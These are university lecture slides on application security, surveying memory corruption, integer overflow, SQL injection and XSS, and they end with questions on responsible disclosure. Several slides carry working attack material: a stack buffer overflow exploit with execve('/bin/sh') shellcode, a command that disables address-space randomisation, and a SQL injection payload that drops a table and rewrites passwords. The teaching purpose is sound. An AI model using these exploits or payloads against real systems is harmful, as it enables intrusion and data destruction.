COMP 3704 Computer Security

Christian Grothoff
christian@grothoff.org

http://grothoff.org/christian/

Application Security

Suppose...

- ... protocol design is secure.
- ... cryptographic primitives are secure.
- ... users / key is secure.
- ... operating system / network is secure.
- ... hardware is secure.

But what about the 1.5 MLOC in your application?

What is a Security Bug?

A bug that allows...

- ... arbitrary code execution
- ... bypassing data access restrictions
- ... denial of service to legitimate users
- ... unexpected resource consumption

What is a Security Bug?

A bug that allows...

- ... arbitrary code execution
- ... bypassing data access restrictions
- ... denial of service to legitimate users
- ... unexpected resource consumption

$\Rightarrow$ Almost any bug can be a security bug!

Major Security Bug Categories

- Memory Corruption
- Arithmetic overflows
- Data races
- SQL injection
- Cross-site scripting

Memory Corruption

- Applies only to certain languages
- Hard to find
- May allow arbitrary code execution

Arithmetic overflows

- Applies to most languages
- Even harder to find
- Can cause bypassing of access restrictions and DoS
- Unlikely to directly allow arbitrary code execution
- Could be used to trigger memory corruption

Data races

- Applies only to certain applications
- Easy to find, non-trivial to avoid
- Generally used to corrupt data
- Could be used to trigger memory corruption, but due to non-determinism can be tricky to exploit

SQL Injection

- Applies only to certain applications
- Easy to find, often easy to avoid (prepared statements!)
- Used to bypass access restrictions, corrupt data
- Usually impossible to use for non-SQL code execution

XSS

- Applies only to certain applications
- Easily used on unsuspecting users
- Probably phisher's favourite
- Sometimes combined with attacks on browser security itself
- Browser's sandbox should prevent the worst

Minor Security Bugs

- Memory leaks
- Socket/file-descriptor leaks
- Excessive CPU consumption
- Excessive disk/IO consumption
- Segmentation faults due to NULL dereference

Types of Memory Corruption Bugs

- Buffer Overflow
- Double-free
- Use after free
- Missing string termination (`strncpy` anyone?)
- Use of "uninitialized" data

Buffer Overflows: The Bug

```
void func(char *str) {
  char buffer[4];
  printf("%p\n", &buffer);
  strcpy(buffer,str);                }
int main(int argc, char** argv) {
  func(argv[1]);
  printf("This is the next instruction\n");
  return 0;
}
```

Buffer Overflows: The Exploit (1/5)

- Need to implement exploit code in assembly

$\Rightarrow$ Let the C compiler do it for you!

- `gcc -S filename.c`
- `(gdb) disassemble dup2`
- `www.metasploit.com` shellcode database

Buffer Overflows: The Exploit (2/5)

Problems that need to be overcome:

- Characters of value 0 in exploit code

$\Rightarrow$ find alternative assembly sequence

- Unknown absolute address of constants

$\Rightarrow$ use reletive CALL with absolute return left on stack)

- Absolute address of exploit code is uncertain

$\Rightarrow$ prefix code with sequence of NOPs

Buffer Overflows: The Exploit (3/5)

```
#define BSIZE 48
#define PD (BSIZE + 28)
int main(int argc, char** argv) {
  char s[PD+1];
  memset(s, 0x90, PD); s[PD] = '\0';
  ((void**)&s[12])[0]=(void*)0xbffff3f0+20;
  memcpy(&s[PD - BSIZE], &badness, BSIZE);
  execl("vulnerable", "vulnerable", s, NULL);
  return 0;
}
```

Buffer Overflows: The Exploit (4/5)

```
static void badness() {
__asm__(
       "jmp    TARGET          \n"
       "HOME:                  \n"
       "popl   %esi            \n\t"
       "movl   %esi,0x8(%esi)  \n\t"
       "xorl   %eax,%eax       \n\t"
       "movb   %eax,0x7(%esi)  \n\t"
       "movl   %eax,0xc(%esi)  \n\t"
       "movb   $0xb,%al        \n\t"
       "movl   %esi,%ebx       \n\t"
       "leal   0x8(%esi),%ecx  \n\t"
       "leal   0xc(%esi),%edx  \n\t"
       "int    $0x80           \n\t"
       "xorl   %ebx,%ebx       \n\t"
       "movl   %ebx,%eax       \n\t"
       "inc    %eax            \n\t"
       "int    $0x80           \n"
       "TARGET:                \n"
       "call   HOME            \n\t"
       ".string \"/bin/sh\"");          }
```

Buffer Overflows: The Exploit (5/5)

Good candidates for SVR4 calls causing overflows are:

- strcat, strcpy
- sprintf. vsprintf
- scanf (with %s)
- gets

The Fix: PAX/Linux 2.6

- Randomize start of stack
- Randomize addresses returned by `mmap`

$\Rightarrow$ Hard to predict offset of code

However, randomization is limited on 32-bit machines!

Disabling Address Space Randomization

```
# echo 0 > /proc/sys/kernel/randomize_va_space
```

You may want to do this if you want to develop simple buffer overflow exploits on Linux 2.6!

Helpful gdb commands:

- `(gdb) si`
- `(gdb) x/10i $pc`

Circumventing the Fix

- Could be possible to use larger exploit buffer with more NOPs to increase chances of success
- Can still use overflow to corrupt program data
- Can still use overflow for DoS
- Can still exploit Microsoft systems

$\Rightarrow$ Still a serious security hole!

Arithmetic Overflow: The Bug

```
int main(int argc, char ** argv) {
  unsigned short s;

  for (s=0;s<argc;s++)
    printf(argv[s]);
  return 0;
}
```

Arithmetic Overflow: The Exploit

- Most common are 32-bit integer overflows
- Useful if particular values cause issues, for example, `malloc(0)` causes bugs with certain implementations of `malloc`
- Loop variables (causing infinite loops / DoS) and integers used for access permissions are also important targets
- Does the program validate the range of integers read from IO and used in computations? Is the range validation code correct?

Example

```
int a = read();
int b = 42;

if ( (a <= 0) ||
     (0x7FFFFFFF / a < b) )
  abort(); /* invalid input */
int o = a * b;
```

Is o guaranteed to be positive?

Arithmetic Overflow: The Fix

- LISP

SQL Injection: The Bug

```
$username = $_POST['username'];
$query = 'INSERT INTO t VALUES(\"'
         . $username . '\")');
mysql_query($query);
```

SQL Injection: The Exploit

```
wget http://page/?username=’me\");
     DROP t;UPDATE auth SET (password=\"’
```

SQL Injection: The Fix

```
s = 'INSERT INTO t VALUES(?)';
mysql_stmt_prepare(s, stmt)
mysql_stmt_bind_param(stmt, $username)
mysql_stmt_execute(stmt);
```

Summary

- Most bugs can be security issues
- Languages and operating systems can help
- Input validation is difficult
- If possible, avoid obtaining security by input validation!

Questions

?

Problem

You found a security problem in some software. How do you go about fixing it...

- If the software is yours?
- If the software is free software?
- If the software is commercial?
- If the software is used by DHS!?

Problem

You have published software. How do you handle reports about security problems with your software?

Problem

Justin becomes a judge on the supreme court.

Problem

Justin becomes a judge on the supreme court.

- What is constitutionally protected (ethical!?) security research?
- What is responsible disclosure?
- When do you start holding vendors responsible for security problems?